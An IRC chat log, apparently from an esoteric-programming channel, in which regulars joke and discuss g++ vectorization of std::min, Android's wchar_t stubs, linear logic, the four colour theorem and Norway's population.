07:11:13 <elliott> Anyway, I've been quoting with [[...]] since before Wikipedia existed.
07:11:28 <elliott> Yes, I was quoting [[...]] when I was 5 years old, fuck you.
07:12:11 <shachaf> You should quote as follows: «You should quote as follows: »
07:12:36 <elliott> monqy! It's that kid who's younger than me!
07:12:50 <elliott> Hey ais523, should I sleep?
07:13:00 <monqy> elliott: hi im fine
07:13:14 <ais523> elliott: can you not make your own mind up, this time?
07:13:24 <ais523> also, quotes are {{{ }}}, or you're insufficiently Agoran
07:13:34 <elliott> Agoran quotes are usually {{ }} these days!
07:13:40 <elliott> Anyway, those are both MediaWiki syntax too.
07:15:06 <shachaf> monqy is younger than you?
07:15:15 <shachaf> I'm pretty sure monqy is A BILLION YEARS OLD
07:15:30 <pikhq_> I'm pretty sure elliott is the universe.
07:15:49 <elliott> shachaf: Shut up, you're only 4.
07:15:50 <pikhq_> And the age he tells people is actually how long he's had Internet.
07:16:04 <elliott> The universe sure did get internet late.
07:16:22 <pikhq_> It's expensive wiring off-planet.
07:16:33 <pikhq_> Especially since you need superluminal cabling.
07:16:58 <elliott> If I'm the universe then where is @?
07:17:35 <shachaf> elliott: When the logs get edited, all references to @ ever not having existed will be erased.
07:17:53 <pikhq_> The present state of @ is the cosmic background radiation.
07:18:18 <pikhq_> That is to say, the big bang is actually a representation of your thought processes.
07:18:35 <elliott> I can't tell whether this makes @ awesome or really bad.
07:18:48 <zzo38> As far as I can tell it means neither.
07:19:12 <shachaf> elliott: Does it mean either one? It could mean neither. That would be a possibility.
07:20:27 <elliott> pikhq_: So how do I connect to the CMBR?
07:22:11 <pikhq_> Fetch the data from WMAP.
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07:26:12 <pikhq_> Alternately, get a radio, untune it.
07:26:19 <pikhq_> Listen to the sounds of the creation of the universe.
07:28:08 <elliott> Wow, Britannica costs $1,395?
07:28:44 <Madoka-Kaname> Just put a few fiber optic cables through a wormhole
07:29:32 <shachaf> elliott: Can I have a wormhole?
07:31:55 <shachaf> elliott: You should answer DanBurton's question.
07:37:02 <shachaf> elliott: I wantonly to understand!
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07:38:59 <elliott> ais523: Should I __ __ _____?
07:39:14 <shachaf> elliott: ARE TYPE CLASSES DISCOVERED OR INVENTED
07:39:18 <ais523> elliott: you could ask zzo38 to take your horoscope again
07:39:51 <zzo38> elliott: Are you tired?
07:39:57 <ais523> you know that infinitely redirecting website? I got a reply back saying it was working yesterday
07:40:23 <zzo38> Ultimately it should be your own choice to sleep or to not sleep. However, you can make decisions using other methods if you prefer.
07:41:17 <elliott> zzo38: I'm looking for a more... astrologically inclined answer.
07:41:23 <elliott> ais523: problem solved, then
07:41:23 <shachaf> zzo38: What's the best method to use to make decisions?
07:41:38 <zzo38> elliott: OK. Tell me your latitude and longitude then.
07:42:09 <ais523> zzo38: I imagine they're the same as last time
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07:42:20 <zzo38> I forget what they were last time
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07:42:54 <elliott> Latitude:N54:58:22 Longitude: W2:06:41, apparently
07:43:52 <zzo38> OK, I put that into the computer. The answer is the same as last time: Wake up.
07:44:26 <zzo38> (I know you are probably awake already)
07:45:11 <shachaf> elliott: Do you live in 45 Rye Terrace?
07:45:19 <elliott> Well, I was awake... but then I woke up.
07:45:25 <elliott> shachaf: No, I googled "hexham latitude longitude".
07:46:33 <elliott> ais523: USELESS TRIVIUM OF THE DAY: apparently, WMF developers aren't called developers any more
07:46:58 <zzo38> Perhaps you can put it in your own Astrolog next time.
07:47:06 <elliott> (they're "system administrators", which is (a) more accurate and (b) boring)
07:47:09 <elliott> zzo38: I doubt it runs on Linux.
07:47:37 <zzo38> elliott: It runs on DOS, Mac, Windows, and Unix. So probably it will run on Linux.
07:47:47 <shachaf> I put it in my own Astrolog.
07:47:55 <shachaf> It told me I should "give Astrolog money".
07:48:00 <elliott> "Wikimedia's present power structure is a mix of anarchic, despotic, democratic, republican, meritocratic, plutocratic, technocratic, and bureaucratic elements"
07:48:02 <zzo38> (The author's other program, Daedalus, appears to be Windows only, though)
07:48:50 <zzo38> shachaf: You put your coordinates in and it told you that? But as far as I know it is not for sale.
07:49:00 <shachaf> elliott: s/ix.*/ess/ # regex golf!
07:49:56 <zzo38> O, now you have regex golf. I think some of the anarchy golf problems are similar to a regex golf in some cases.
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07:56:01 <fungot> elliott: this is my explanation, but it's the v6 stack driver that throws that out.
07:56:09 <elliott> fizzie: You put fungot on IPv6 and it broke?
07:56:09 <fungot> elliott: fibonacci heaps, trinomial heaps, fat heaps, thin heaps, fat heaps, thin heaps, fat heaps, relaxed heaps, and maybe even specifically optimized by the implementation
07:56:16 <elliott> `addquote <fungot> elliott: fibonacci heaps, trinomial heaps, fat heaps, thin heaps, fat heaps, thin heaps, fat heaps, relaxed heaps, and maybe even specifically optimized by the implementation
07:56:16 <fungot> elliott: bloody flow analysis :) bye.
07:56:23 <HackEgo> 823) <fungot> elliott: fibonacci heaps, trinomial heaps, fat heaps, thin heaps, fat heaps, thin heaps, fat heaps, relaxed heaps, and maybe even specifically optimized by the implementation
07:56:41 <fizzie> Fat heaps, thin heaps, fat heaps, thin heaps, ...
07:57:42 <elliott> Relaxed heaps, and maybe even specifically optimised by the implementation.
07:59:54 <shachaf> Was that automatically generated?
08:00:00 <fungot> shachaf: i checked it :) first i need to
08:00:10 <shachaf> fungot: FIRST YOU NEED TO WHAT
08:00:10 <fungot> shachaf: process 3 killed. i'm happy with double-precision arithmetic. however, these rules are then used to anticipate the events after n steps, i can assure you
08:00:48 <fungot> elliott: perhaps it has something to do with it?" ;p
08:03:08 <fungot> shachaf: it's also an identifying uri manipulation libs for just about every side, except on keenspot when it points to some proxy in switzerland which happens to be in
08:06:58 <zzo38> Did you try to put it in your own Astrolog? (Hint: You should enter your own timezone and location into the configuration file so that it selects that one by default. You can create other files with other info if you want to chart other info commonly.)
08:07:25 <shachaf> elliott: If you're the universe, does that make you mostly vacuum?
08:19:41 <ais523> your typo fix contains a typo of its own
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08:54:00 <Sgeo> elliott, monqy tswett update (kallisti too if you read logs)
08:55:33 <zzo38> Do you have any opinions about the Eleven Satanic Rules of the Earth?
08:56:41 <shachaf> elliott: Why don't you join any channels by default?
08:57:09 <zzo38> How do you mean by that?
08:58:31 <Sgeo> http://www.daniweb.com/software-development/legacy-and-other-languages/threads/408985 this is the new language I am in love with.
09:00:11 <Sgeo> Number of people who have failed to resist the urge to say that it's perfect: 3.
09:00:54 <elliott> I am glad we are not the only ones you force to suffer.
09:01:34 <Sgeo> Actually, someone else linked it, although I repeated the link for someone who came in afterwards and saw some discussion.
09:02:00 <olsner> "first exapmle of perfect code" :D
09:02:35 <Sgeo> Imperfect comments do not count as code, I would assume.
09:04:13 <Sgeo> It's intended to be readable by both VB and C people! The redundant } and end statements ensure it!
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09:14:27 <zzo38> Do you know Pascal's Wager? Do you know the opposite? The first time I saw the opposite in the book, was not named; but I saw it once called Rachel's Wager so I will call itat.
09:15:15 <shachaf> Named after Blaise Rachel, the famous mathematician?
09:17:12 <zzo38> No. It is someone with the OpenID URL http://rach.myopenid.com/
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10:24:44 <elliott> oerjan: http://esolangs.org/w/index.php?title=EsoInterpreters&curid=2229&diff=31113&oldid=31102 adds a column to EsoInterpreters with nothing but a BF interpreter.
10:25:01 <elliott> (the next revision fixes the link, but not the &nsbp;s in every other cell.)
10:25:12 <elliott> i decided to delegate this one to you :P
10:25:51 <oerjan> I SENSE SOME ABUSE OF POWER HERE
10:26:33 <shachaf> elliott: Why is g++'s optimizer stupid?
10:26:35 <elliott> truly, telling people about revisions is the most heinous crime against human rights
10:27:10 <shachaf> elliott: In particular, why is "if (data_[ix] < min) min = data_[ix];" much faster than "min = std::min(data_[ix], min);"?
10:27:29 <shachaf> You'd expect it to recognize a minimum operation which is, you know, the standard library's minimum operation.
10:27:47 <elliott> shachaf: It's C++ that is stupid.
10:28:01 <elliott> oerjan: P.S. If I made you an admin, it'd be delegation, not abuse.
10:28:16 <oerjan> ah. i knew there would be a catch to this admin thing.
10:28:32 <shachaf> elliott: Because if I wrote in C, there would be no standard library function for min/max, right?
10:35:12 <fizzie> shachaf: On the other hand, only with C++ you can just pull the whole thing from <algorithm> and avoid the loop, by writing *min_element(data_.begin(), data_.end()) instead.
10:35:18 <fizzie> (It's probably even slower.)
10:37:53 <shachaf> fizzie: It's about the same speed as a loop with std::min.
10:38:53 <elliott> It could have been even slower.
10:38:57 <elliott> But it foregoed the opportunity.
10:39:20 <fizzie> You just forged the foregoed word.
10:39:35 <oerjan> elliott: oh wait it was just a typo, not forgetting about making the rest of the column completely...
10:40:02 <elliott> oerjan: i did not want you to fix it
10:40:07 <elliott> i wanted you to remove the useless column :P
10:40:18 <elliott> if we put a column for every language with just a BF interpreter, it would be an exceedingly wide table.
10:41:26 <fizzie> FWIW, int min1(int a, int b) { if (a < b) return a; return b; } and int min2(int a, int b) { return std::min(a, b); } generate exactly identical code; but of course "if (a[b] < min) min = a[b];" is not quite equivalent to "min = std::min(a[b], min)".
10:41:40 <elliott> oerjan: (you could just re-save the old revision, if you're thinking it'll be a long ordeal)
10:41:45 <elliott> (i just don't want to have to write the edit summary ;P)
10:42:11 <oerjan> elliott: what. i disagree with that policy.
10:42:36 <oerjan> i have already said that the table needs to split up soon anyway.
10:42:46 <elliott> erm, the whole point is to be a _cross-reference_, is it not?
10:43:52 <oerjan> elliott: oh. the _actual_ problem is that the entry has swapped row/column.
10:44:15 <elliott> // TODO: add support for [ and ]
10:44:17 <elliott> it's not a brainfuck interpreter
10:45:36 <shachaf> fizzie: It looks vaguely like an inlining problem.
10:45:51 <shachaf> fizzie: Certainly I don't expect it to be able to vectorize it without inlining.
10:46:00 <elliott> shachaf: Write it in J instead.
10:46:31 <shachaf> fizzie: Code that looks very similar -- e.g. min = data_[ix] < min ? data_[ix] : min; -- also gets vectorized.
10:47:25 <shachaf> My other g++ optimizer vectorization complaint today also had to do with inlining -- something that only worked with pointers and not with references.
10:47:29 <elliott> shachaf: But I heard C lets you get close to the metal, and has really predictable performance.
10:47:32 <elliott> Unlike that Haskell thing.
10:47:46 <elliott> With Haskell you can have a bunch of seemingly-equivalent expressions with wildly different performanec characteristics!
10:47:50 <elliott> That could never happen in C/C++.
10:48:17 <shachaf> I'll let kmc handle this one.
10:50:02 <shachaf> ...OK, this is kind of ridiculous.
10:50:48 <shachaf> inline const Pixel &mymin(const Pixel &a, const Pixel &b) { return a < b ? a : b; }
10:50:51 <shachaf> inline const Pixel mymin(const Pixel a, const Pixel b) { return a < b ? a : b; }
10:51:11 <shachaf> The second line gets optimized; the first one doesn't.
10:53:24 <fizzie> The first one is kinda weird-looking, though. If I were an optimizer, I probably wouldn't bother either.
10:54:00 <shachaf> fizzie: But that's what std::min is...
11:00:40 <fizzie> It must have something to do with the con-text.
11:01:06 <elliott> shachaf: Why is that ridiculous
11:01:12 <elliott> it doesn't optimise std::min so it doesn't optimise the first mymin
11:02:01 <fizzie> http://sprunge.us/OcbC gives absolutely identical 'use1' and 'use2'. (cmp esi, edi; cmovle edi, esi; jmp _Z5applyi.)
11:02:25 <fizzie> But maybe it's much harder when you're talking about references to std::vectors or something.
11:02:47 <fizzie> To its elements, I mean.
11:02:56 <shachaf> fizzie: I'm talking about vectorization.
11:03:02 <shachaf> Try using it in a loop over an array.
11:04:55 <fizzie> Okay, http://sprunge.us/jPeB also gives identical code.
11:05:05 <fizzie> Whoops, that's the identical function too. :p
11:05:22 <fizzie> Yeah, it's kinda different.
11:06:03 <fizzie> Also forgot the ++s, but anyhow.
11:07:33 <shachaf> Well, the ++s are kind of important. :-)
11:08:24 <shachaf> But suddenly I'm not getting it to reproduce.
11:09:07 <shachaf> Oh, because your min function is over ints.
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11:10:12 <shachaf> fizzie: http://sprunge.us/GidL
11:10:45 <elliott> shachaf: Can you write my functions for me?
11:11:11 <shachaf> elliott: I'm too busy writing fizzie's function for fizzie.
11:12:56 <fizzie> I saw something similar with the ints; it seems to want to keep an up-to-date copy of min on stack for each iteration of the loop when you call the reference version.
11:13:42 <shachaf> fizzie: But it generates drastically different code for my version.
11:13:50 <shachaf> Especially if you compile with -O3 -march=native
11:14:34 <fizzie> Well, yes, it doesn't vectorize. But how could it, if it "needs" to keep updating -1(%rsp) for each byte separately.
11:16:04 <shachaf> Is it something to do with aliasing? I'd understand a different behavior if the function wasn't inline, but you'd expect it to be able to figure this out.
11:16:42 <elliott> DESTROY EVERY COPY OF GCC AND BURN THE SPECIFICATION
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11:17:09 <oerjan> i sense some anger issues.
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11:21:35 <fizzie> shachaf: I don't know, but I do get almost identical code for the obvious pointer translation, template <typename T> inline const T* min3(const T* a, const T* b) { if (*a < *b) return a; return b; } and a use case of min = *min3(&min, &arr[i]);.
11:22:24 <fizzie> It's inlined, but not vectored, and the loop is essentially the same. Except, uh, now I don't see any stack references in either of use2 or use3 any more.
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11:23:32 <fizzie> (Oh, that last bit was just -march=native.)
11:24:12 <kmc> "IMPORTANT: Any code that relies on wide character support is essentially non-portable and/or broken. the only reason this header exist is because I'm really a nice guy. However, I'm not nice enough to provide you with a real implementation. instead wchar_t == char and all wc functions are stubs to their "normal" equivalent..."
11:24:14 <kmc> says android wchar.h
11:24:16 <fizzie> Oh, okay; g++-4.5 doesn't have the slightly useless stack thing.
11:24:29 <elliott> kmc: looks correct to me :P
11:24:44 <ais523> kmc: is that a statement about in general? or just in Android?
11:26:16 <shachaf> fizzie: Well, it's also somewhat odd that it doesn't work with the pointer version.
11:26:31 <shachaf> fizzie: I have another bit of C++ code that gets vectorized with the pointer version but not with the reference version.
11:28:39 <kmc> ais523, it's true in general that you have few guarantees about wchar_t
11:29:25 <kmc> for example on Windows it's only 16 bits, so cannot represent all of Unicode
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11:33:13 <elliott> interesting factoid, IIRC plan 9 only does 16-bit
11:33:24 <elliott> due to never being updated when the astral planes started existing
11:33:28 <elliott> and it's the first utf-8 impl!
11:36:01 <RocketJSquirrel> <kmc> "IMPORTANT: Any code that relies on wide character support is essentially non-portable and/or broken. the only reason this header exist is because I'm really a nice guy. However, I'm not nice enough to provide you with a real implementation. instead wchar_t == char and all wc functions are stubs to their "normal" equivalent..." // this is the most legit statement on wchar anyone has ever made.
11:36:44 <kmc> you can check the macro __STDC_ISO_10646__ to see if wchar_t supports all of UCS / Unicode / ISO-IEC 10646 / NCC-1701
11:36:50 <kmc> for such important characters as http://www.fileformat.info/info/unicode/char/1f4a9/index.htm
11:36:56 <kmc> RocketJSquirrel, thank you for quoting it in full
11:37:33 <elliott> #define wchar_t "NO. STOP."
11:37:39 <kmc> Walter: Am I wrong?
11:37:39 <kmc> The Dude: No you're not wrong.
11:37:39 <kmc> Walter: Am I wrong?
11:37:39 <kmc> The Dude: You're not wrong Walter. You're just an asshole.
11:37:46 <RocketJSquirrel> (Unicode GOAT resents your inability to render Unicode GOAT.)>🐐
11:37:51 <elliott> <kmc> RocketJSquirrel, thank you for quoting it in full
11:37:53 <kmc> https://plus.google.com/109925364564856140495/posts
11:37:53 <elliott> that's how we roll around here
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11:39:12 <kmc> i tried to convince a friend to include a Supplementary Ideographic Elemental in his D&D campaign
11:41:39 <elliott> Hey kmc, I'm getting sick of #haskell!
11:41:42 <elliott> CLEARLY YOU ARE THE PERSON TO TURN TO.
11:43:10 <elliott> shachaf: Did I cause you to look at #haskell?
11:43:15 <shachaf> Now it turns out that knowing about this gcc optimizer thing would've solved my whole problem a while ago.
11:44:47 <elliott> shachaf: Allow me to summarise the current discussion for you: "gah, why don't length and (!!) use Integer?!" -> "well, if we were going to change them, it should be to Natural instead anyway" -> "changing (!!) to Natural is pointless, because you can still specify an index above the array's bounds!" -> "it still eliminates a class of errors!" -> "it is literally no more precise than Integer!" -> "what?" -> "it is literally no more precise than I
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11:45:36 <Jafet> Summary of summary: I won
11:45:39 <kmc> why don't length and (!!) use dependent types
11:45:41 <kmc> is the real question
11:45:54 <Jafet> Too many dependencies?
11:46:08 <kmc> too many dependents
11:46:11 <elliott> Jafet: Hey, get out! I'm busy talking about you behind your back.
11:46:25 <Jafet> elliott is just bitter because he didn't win.
11:48:29 <kmc> also the function be64toh is named betoh64 on android
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11:50:11 <kmc> if you ever wanted to program for a platform where the kernel is linux and the userland is half BSD and half crazysauce
11:50:16 <kmc> that platform exists today
11:51:28 <elliott> it can't be worse than desktop linux
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11:55:40 <RocketJSquirrel> Come to think of it, Android is probably as close as current distros come to my purported goal of a NoGNU/Linux.
11:57:44 <kmc> why is that your goal
11:57:52 <elliott> RocketJSquirrel is a militant BSD user.
11:58:00 <elliott> he doesn't use any gpl software
11:58:08 <kmc> crazy people itt
11:58:50 <RocketJSquirrel> That's apparently the only line I can quote from Rocky and Bullwinkle, and I'm not even the right character.
11:58:57 <itidus21> i am under the delightfully trollish impression that linux and gnu are effectively c and or c++ apps and systems
11:59:32 <RocketJSquirrel> kmc: Anywho, I just want to see a full Linux system with nothing (C) FSF.
11:59:43 <oerjan> <elliott> ais523: well, it's like linear logic, sort of
11:59:49 <RocketJSquirrel> (Except that I'm sure tidbits of the kernel itself have flowed from FSF, but, uh, whoops)
11:59:58 <oerjan> i'd think it's precisely that...
12:00:10 <elliott> oerjan: i try and formulate it in terms of linear logic later.
12:00:14 <elliott> oerjan: without knowing any linear logic.
12:00:20 <elliott> do you know any linear logic? perhaps you can correct me :P
12:00:35 <oerjan> i've read the definition...
12:00:45 <kmc> the wchar_t quote isn't wrong, it just has the kind of tone that makes me hate programmers
12:01:07 <elliott> I don't think kmc likes anybody.
12:01:12 <itidus21> i think the gnu approach would be to gradually rewrite each module of gnu in haskell until the whole thing is haskell
12:01:48 <RocketJSquirrel> itidus21: Then, in forty years, when you have better languages and Haskell is a dinosaur, at long last you'll have a pure Haskell system 8-D
12:02:07 <Jafet> Haskell wouldn't work; there is an "FFI loophole"
12:02:51 <oerjan> Jafet: that loophole will be closed when the foreign side has been converted to haskell
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12:04:49 <kmc> the greatest possible achievement of mankind is to rewrite all existing software in haskell
12:04:49 <oerjan> elliott: i think you basically want (P ⊗ ~Q) & (~P ⊗ Q)
12:05:14 <kmc> this amazing new technology is too powerful to be used for new projects and problems
12:05:25 <elliott> oerjan: so & lets you pick one but not both?
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12:05:48 <elliott> shachaf: you have your answer!
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12:06:49 <elliott> RocketJSquirrel: I'm glad you're confident we'll have better languages than Haskell in 40 years.
12:06:54 <elliott> Maybe I can be uncynical enough to join you!
12:07:00 <elliott> I guess @ will exist in 40 years.
12:07:17 <elliott> oerjan: linear logic is cool. I should learn it.
12:07:24 <shachaf> elliott: As much as it ever will!
12:08:49 -!- MSleep has changed nick to MDude.
12:09:34 <elliott> Good grief, I hate thinking.
12:10:02 <oerjan> nortti: ⊗ means that you can use both sides, simultaneously, while & means you can only use one of them, but you get to choose. and there's another operator which gives you one of them, but you _don't_ get to choose, which is sort of like an or. and also another which looks like an upside down & and is dual to ⊗ and which is hard to explain exactly _what_ it gives you.
12:10:39 <oerjan> at least that's my impression of this.
12:10:46 <itidus21> for me, thinking is the hardest thing on earth
12:11:42 <elliott> you can use neither side, simultaneously
12:12:22 <elliott> whoa the linear logic guy is still alive
12:12:23 <oerjan> elliott: i think it makes sense as a kind of lambda thing where you get a ⊗ as argument.
12:12:31 <elliott> i didn't realise it was so modern
12:12:50 <oerjan> (with curry-howard thinking.)
12:13:29 <oerjan> elliott: it takes a kind of leap to invent a logic which isn't really about _truth_...
12:14:03 <elliott> oerjan: well, yeah... the basic idea just seems obvious in retrospect
12:14:52 <itidus21> I am nearly done analyzing the problem. 1)Determine what I want to think about. 2)Visualize myself thinking about it. 3)Using rhonda byrne's The Secret flip through books as if I was really thinking. 4)??? 5)Profit.
12:14:56 <oerjan> oh and that upside down & is _part_ of the definition of implication, like a -> b = ~a or b in classical logic.
12:15:01 <shachaf> I can tell when my program stops running because my computer's fan turns down.
12:15:08 <shachaf> It's pretty instant feedback.
12:15:13 <elliott> hm so I guess this means it might have been explicitly influenced by resource problems in computing
12:15:20 <elliott> rather than just turning out to be useful for that
12:16:28 <oerjan> oh and there are the unary operators ! meaning "as many times as you want" and its dual ? meaning heck if i know
12:17:17 <elliott> one more than you hoped for
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12:20:45 <oerjan> and four constants, 0, 1, top and bottom, one identity for each of the basic binary operations
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12:25:08 <itidus21> i think natural language is ill-equipped for complex logic
12:25:51 <elliott> We just need two more, then we can call them up, down, strange, charm, top, and bottom.
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12:27:13 <oerjan> elliott: ooh maybe that's the secret to the toe!
12:27:53 <elliott> i was confused for a second there.
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12:34:50 <oerjan> oh dammit not nausea as well
12:35:35 <elliott> i diagnose oerjan with ill
12:35:53 <itidus21> if your nausea isn't caused by disease i find it helps to vomit
12:36:32 <oerjan> itidus21: the reason i don't like nausea is because i really, really, really, really, really, really, really, really, really hate vomiting.
12:36:53 <elliott> vomiting is great fun! ok it's not
12:36:54 <oerjan> also it's definitely disease.
12:37:07 <itidus21> i actually enjoy ripping my stomach lining into carrot pieces and depositing them on the ground
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13:24:10 <MDude> I've been told that today is Pi Day.
13:24:20 <MDude> Should I celebrate by acting irrationaly?
13:25:30 <elliott> MDude: Celebrate by destroying America
13:25:35 <elliott> 's disgusting date ordering system.
13:26:06 <oerjan> elliott: but the other systems don't even _have_ a pi day!
13:26:14 <oerjan> which clearly must be inferior.
13:26:39 <elliott> Hey, some of us have 14 months.
13:31:15 <quintopia> pi day in day-first systems is apr 31
13:32:38 <oerjan> you may wish to rethink that.
13:33:47 <quintopia> oerjan: i just made may shorter so that i could have one
13:35:10 <elliott> except you celebrate the previous year's
13:35:16 <quintopia> actually, i've heard that its 22 july (pi approximation day)
13:35:16 <elliott> so feb 3 2012 was pi day 2011
13:35:30 <quintopia> its actually a better approximation than 3.14 so its BETTER
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14:39:09 <oerjan> ___ _ _ ___ _____ _____
14:39:09 <oerjan> / _ \| | | |_ _| ____|_ _|
14:39:09 <oerjan> | | | | | | || || _| | |
14:39:09 <oerjan> | |_| | |_| || || |___ | |
14:39:09 <oerjan> \__\_\\___/|___|_____| |_|
14:42:34 <elliott> oerjan how did the four colour theorem take so long to get proved :(
14:43:27 <oerjan> because it so far requires a massive checking of cases that only a computer can do. hth.
14:43:50 <shachaf> They kept trying to prove the "for color theorem".
14:45:00 <elliott> oerjan: but WHY it's so OBVIOUS ;_;
14:45:20 <elliott> also, it's only a few hundred, isn't it
14:45:35 <oerjan> i'd assume you'd need to look at the different cases to see why it's not obvious.
14:46:06 <oerjan> elliott: iirc _each_ of those few hundred configurations requires a massive computer check.
14:46:19 <elliott> "Their proof reduced the infinitude of possible maps to 1,936 reducible configurations (later reduced to 1,476)"
14:46:40 <elliott> "Since the proving of the theorem, efficient algorithms have been found for 4-coloring maps requiring only O(n2) time, where n is the number of vertices. In 1996, Neil Robertson, Daniel P. Sanders, Paul Seymour, and Robin Thomas created a quadratic time algorithm, improving on a quartic algorithm based on Appel and Haken’s proof (Thomas 1995; Robertson et al. 1996). This new proof is similar to Appel and Haken's but more efficient because it re
14:46:40 <elliott> duced the complexity of the problem and required checking only 633 reducible configurations. Both the unavoidability and reducibility parts of this new proof must be executed by computer and are impractical to check by hand (Thomas 1998, pp. 852–853). In 2001 the same authors announced an alternative proof, by proving the snark theorem (Thomas; Pegg et al. 2002)."
14:46:53 <elliott> how hard can colouring a few thousand graphs be?!
14:47:10 <oerjan> elliott: the configurations are not graphs per se
14:47:36 <oerjan> they are graphs with _arbitrary_ colors _preset_ on a boundary
14:47:49 <elliott> ok, so it's basically just sudoku.
14:47:54 <oerjan> or something like that
14:47:57 <elliott> (hope that was as condescending as possible)
14:48:08 <oerjan> elliott: um it's like having to solve _all_ sudokus.
14:48:42 <oerjan> by "arbitrary" i mean that you have check _all_ possible assignments.
14:49:47 <oerjan> this is all from my very vague recall of an overview of the proog, though.
14:49:51 <elliott> still, i am pretty sure i could solve all sudokus if you gave me a few years.
14:50:15 <elliott> "The following discussion is a summary based on the introduction to Appel and Haken's book Every Planar Map is Four Colorable (Appel & Haken 1989)."
14:50:20 <elliott> the most entertaining book
14:50:34 <elliott> "And now for 2,000 pages of computer printouts!"
14:53:02 <oerjan> it is possible it was that introduction i looked at.
14:54:01 <elliott> oerjan: looks more like a book-sized proof than an introduction going by this article
14:55:52 <MDude> I would tihnk the four color theorem could be somehow made linked to the three utilities problem.
14:57:26 <MDude> Though I guess that might only prove that the minimum is at least four.
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15:01:19 -!- elliott has set topic: norway is small | http://codu.org/logs/_esoteric/.
15:04:18 <oerjan> if you mean by area, that's absurd. if you mean by population, http://www.ssb.no/vis/english/subjects/02/01/10/folkemengde_en/arkiv/art-2012-02-23-01-en.html
15:05:34 <elliott> http://www.ssb.no/english/subjects/02/01/10/folkemengde_en/arkiv/thumb-2012-02-23-01-en.png <-- very small image. very small country
15:05:45 <oerjan> (if you include ocean area, norway is _ridiculously large.)
15:05:53 <elliott> the defendant rests. (hes tired.)
15:06:47 <oerjan> ah right, the insanity by sleep deprivation defense.
15:07:23 <elliott> it sounds like you have some issues w/r/t/ the size of norway. i am sorey.
15:07:27 <oerjan> (by ridiculous, i mean the second larges european country after russia.)
15:07:40 <MDude> There's the fact that K5 is a minimal nonplanar graph, which means that you can't have five areas that all touch each other on a plane.
15:07:55 <elliott> "sorry sicnecence" -norway. (probably hates LHC.)
15:07:57 <oerjan> elliott: "if you include ocean area"
15:08:11 <oerjan> i guess france has some outside europe.
15:08:25 <elliott> Key domestic issues include immigration and integration of ethnic minorities, maintaining the country's extensive social safety net with an aging population, and preserving economic competitiveness.[2][9], and being smal.
15:08:58 <oerjan> obviously that's a mistranslation from no:smal = en:narrow.
15:09:03 <elliott> http://upload.wikimedia.org/wikipedia/commons/e/eb/Corded_Ware_culture.png this map i can see but norway i canot
15:09:11 <elliott> maybe it is hiding. or perhaps it is smal.
15:09:12 <oerjan> we will freely admit to being narrow, in the middle.
15:10:04 <elliott> http://upload.wikimedia.org/wikipedia/commons/f/fd/Satellite_image_of_Norway_in_February_2003.jpg <-- picture of sweden
15:10:43 <elliott> oh wow how much do you pay the people who pick the pictures for your wikipedia articles this is pretty
15:11:04 <oerjan> MDude: five colors being enough has been known for more than a century.
15:13:15 <elliott> http://upload.wikimedia.org/wikipedia/commons/1/18/StatfjordA%28Jarvin1982%29.jpg <-- COMOMPENSATING FOR SOMETHING NORWAY,,,?
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15:14:18 <elliott> Norway's population numbers roughly 4.9 million.
15:14:50 <oerjan> elliott: SOON. you didn't read that first link did you.
15:14:58 <itidus21> a troll-physics alternative to the four colour theorem is to just draw the edges on maps
15:15:09 <oerjan> admittedly it was a bit hidden in the first blockquote.
15:15:32 <elliott> "Statistics Norway has calculated that Norway will reach a population of 5 millions on Monday, March 19. Population in Norway reached the first million in 1822, the second in 1890, the third in 1942 and the fourth in 1975."
15:15:35 <itidus21> because when you have drawn the edges, it doesn't matter so much that 2 adjacent regions are the same colour
15:16:01 <itidus21> this fact enables line art to exist
15:16:02 <elliott> "The Greater London Urban Area is the second-largest in the EU with a population of 8,278,251,[24] while London's metropolitan area is the largest in the EU with an estimated total population of between 12 million[25] and 14 million.[26]"
15:16:09 <oerjan> soon the world will learn to fear the norwegian population singularity.
15:16:14 <elliott> Quod. Erat. Demonstratnoiarniotdmuj
15:16:24 <oerjan> elliott: ah but is london's population _increasing_?
15:16:36 <elliott> oerjan: ask the Conservatives
15:16:44 <elliott> ^ scathing political satire
15:17:00 <elliott> (the joke is that we should kill all the Conservatives and also everyone else)
15:17:10 <itidus21> i imagine it would be exceedingly useful when you can't draw "edges"
15:17:15 <oerjan> ah. subtle british humor.
15:17:18 <elliott> Phantom_Hoover: pls rate my attempt at diplomacy
15:17:36 <lambdabot> Phantom_Hoover: You have 2 new messages. '/msg lambdabot @messages' to read them.
15:18:59 <elliott> http://upload.wikimedia.org/wikipedia/commons/c/c7/London_Underground_full_map_complete.svg
15:20:54 <elliott> oerjan: uk population facte. the london underground is actually the 147th largest city in th eworld , thanks to its 24/ 7 population .
15:20:54 <oerjan> chesham, amersham, chalfont & latimer.
15:21:17 <itidus21> something that could happen that hasnt happened is political territories having official textures for their representation on maps
15:21:23 <oerjan> big indeed, when my browser doesn't resize it. or even provide scrollbars.
15:21:41 <itidus21> i think that would make maps even easier to read if you could associate a country or state with a texture pattern
15:22:46 <oerjan> by helps you mean "has no effect", i assume.
15:23:13 <oerjan> btw i recall having to download an svg viewer separately in order to view mezzacotta.
15:25:18 <elliott> and probably everything but IE.
15:25:32 <elliott> you'll download an /svg viewer/ but not a better browser?
15:25:37 <oerjan> i also note that removing the .svg at the end does not lead me to the full page which you should have linked in the first place.
15:26:04 <oerjan> elliott: i hear firefox is a memory hog, which means it will probably utterly kill my laptop.
15:26:15 <elliott> http://en.wikipedia.org/wiki/File:London_Underground_full_map_complete.svg hth hand
15:26:29 <elliott> oerjan: that's a rather outdated impression
15:26:47 <elliott> certainly firefox/chrome aren't going to use significantly more memory than IE at all (and perfectly likely less).
15:27:10 <elliott> (opera probably uses a tiny fraction, at the expense of sucking.)
15:28:43 <itidus21> starts having ideas but resists as best as i can to say more
15:29:15 <itidus21> the first degree of disclosure as it were, to merely indicate the existence of something that could be disclosed
15:46:53 <MDude> No, I think that K5 being nonplanor would prove that four is the maximum needed.
15:47:12 <MDude> Since for five colors to be needed, you would need five areas that all touch.
15:48:25 <MDude> And if you had five non-overlapping areas that all touch, you could node and each edge as a connection between nodes, and have five points with non-crossing connections.
15:48:52 <MDude> *could replace with a node and eash each with a connection between nodes
15:49:04 <MDude> *could rrpalce each area with a node
15:54:35 <elliott> I rrpalce areas with nodes all the time.
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15:58:28 <oerjan> MDude: um you are wrong, plain and simple. K5 being nonplanar is trivial in comparison.
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15:59:24 <MDude> I'm pretty sure nodes are used in place of areas in topology exactly because shape dones't matter.
15:59:52 <oerjan> i'm talking about <MDude> No, I think that K5 being nonplanor would prove that four is the maximum needed.
